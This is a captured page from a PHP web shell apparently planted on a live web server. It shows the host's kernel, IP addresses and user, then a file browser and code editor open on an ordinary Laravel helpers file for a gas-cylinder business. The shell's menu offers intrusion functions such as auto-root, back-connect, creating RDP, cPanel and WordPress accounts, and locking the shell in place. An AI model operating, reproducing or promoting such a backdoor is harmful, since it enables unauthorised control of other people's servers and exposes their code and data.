Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
app /
Http /
[ HOME SHELL ]
Name
Size
Permission
Action
Controllers
[ DIR ]
drwxr-xr-x
Helpers
[ DIR ]
drwxr-xr-x
Middleware
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
ViewComposers
[ DIR ]
drwxr-xr-x
Kernel.php
2.06
KB
-rw-r--r--
helpers.php
5.8
KB
-rw-r--r--
helpers_311.php
5.7
KB
-rw-r--r--
helpers_old.php
5.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : helpers_311.php
<?php use App\Exceptions\PermissionException; use App\Model\Receive; use App\Model\RepairDetail; use App\Model\Setting; function checkAccess($modulePermission) { $user = Sentinel::getUser(); if(!$user->hasAccess($modulePermission)){ throw new PermissionException("Permission Denied"); }else{ return true; } } function receive_status($status){ switch($status) { case 0: $status = 'Cylinders Received'; break; case 1: $status = 'Confirmed by Admin'; break; case 2: $status = 'Sent To Factory'; break; case 3: $status = 'Filling'; break; case 4: $status = 'Sent For Confirmation'; break; case 5: $status = 'Confirmed By Client'; break; case 6: $status = 'Repairing'; break; case 7: $status = 'Checking'; break; case 8: $status = 'Packing'; break; case 9: $status = 'Back To Store'; break; case 10: $status = 'Delivered'; break; default: $status = 'Cylinders Received'; } return $status; } function repair_status($status){ switch($status) { case 2: $status = 'Cylinders Received'; break; case 3: $status = 'Filling'; break; case 4: $status = 'Sent For Confirmation'; break; case 5: $status = 'Confirmed By Client'; break; case 6: $status = 'Repairing'; break; case 7: $status = 'Checking'; break; case 8: $status = 'Packing'; break; case 9: $status = 'Send To Store'; break; case 10: $status = 'Delivered'; break; default: $status = 'Cylinders Received'; } return $status; } function get_status($receive_id=NULL){ return Receive::where('id',$receive_id)->value('status'); } function convert_number_to_words($number) { $hyphen = '-'; $conjunction = ' and '; $separator = ', '; $negative = 'negative '; $decimal = ' point '; $dictionary = array( 0 => 'zero', 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six', 7 => 'seven', 8 => 'eight', 9 => 'nine', 10 => 'ten', 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen', 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen', 19 => 'nineteen', 20 => 'twenty', 30 => 'thirty', 40 => 'fourty', 50 => 'fifty', 60 => 'sixty', 70 => 'seventy', 80 => 'eighty', 90 => 'ninety', 100 => 'hundred', 1000 => 'thousand', 1000000 => 'million', 1000000000 => 'billion', 1000000000000 => 'trillion', 1000000000000000 => 'quadrillion', 1000000000000000000 => 'quintillion' ); if (!is_numeric($number)) { return false; } if (($number >= 0 && (int) $number < 0) || (int) $number < 0 - PHP_INT_MAX) { // overflow trigger_error( 'convert_number_to_words only accepts numbers between -' . PHP_INT_MAX . ' and ' . PHP_INT_MAX, E_USER_WARNING ); return false; } if ($number < 0) { return $negative . convert_number_to_words(abs($number)); } $string = $fraction = null; if (strpos($number, '.') !== false) { list($number, $fraction) = explode('.', $number); } switch (true) { case $number < 21: $string = $dictionary[$number]; break; case $number < 100: $tens = ((int) ($number / 10)) * 10; $units = $number % 10; $string = $dictionary[$tens]; if ($units) { $string .= $hyphen . $dictionary[$units]; } break; case $number < 1000: $hundreds = $number / 100; $remainder = $number % 100; $string = $dictionary[$hundreds] . ' ' . $dictionary[100]; if ($remainder) { $string .= $conjunction . convert_number_to_words($remainder); } break; default: $baseUnit = pow(1000, floor(log($number, 1000))); $numBaseUnits = (int) ($number / $baseUnit); $remainder = $number % $baseUnit; $string = convert_number_to_words($numBaseUnits) . ' ' . $dictionary[$baseUnit]; if ($remainder) { $string .= $remainder < 100 ? $conjunction : $separator; $string .= convert_number_to_words($remainder); } break; } if (null !== $fraction && is_numeric($fraction)) { $string .= $decimal; $words = array(); foreach (str_split((string) $fraction) as $number) { $words[] = $dictionary[$number]; } $string .= implode(' ', $words); } return $string; } function get_exchange_rate($from,$to){ $url = 'http://finance.yahoo.com/d/quotes.csv?f=l1d1t1&s='.urlencode($from).urlencode($to).'=X'; $handle = fopen($url, 'r'); if ($handle) { $result = fgetcsv($handle); fclose($handle); } return $result[0]; // echo '1 '.$from.' is worth '.$result[0].' '.$to.' Based on data on '.$result[1].' '.$result[2];die; } function filling_status($repair_id=null,$receive_id){ $count = RepairDetail::where('repair_id',$repair_id)->count(); $receive=Receive::where('id',$receive_id)->first(); if($count==$receive->total_cylinder){ return true; }else{ return false; } } function vat(){ return Setting::select('vat')->first()->vat; } function taxOption1(){ return Setting::select('tax_option1')->first()->tax_option1; } function taxOption2(){ return Setting::select('tax_option2')->first()->tax_option2; }
Close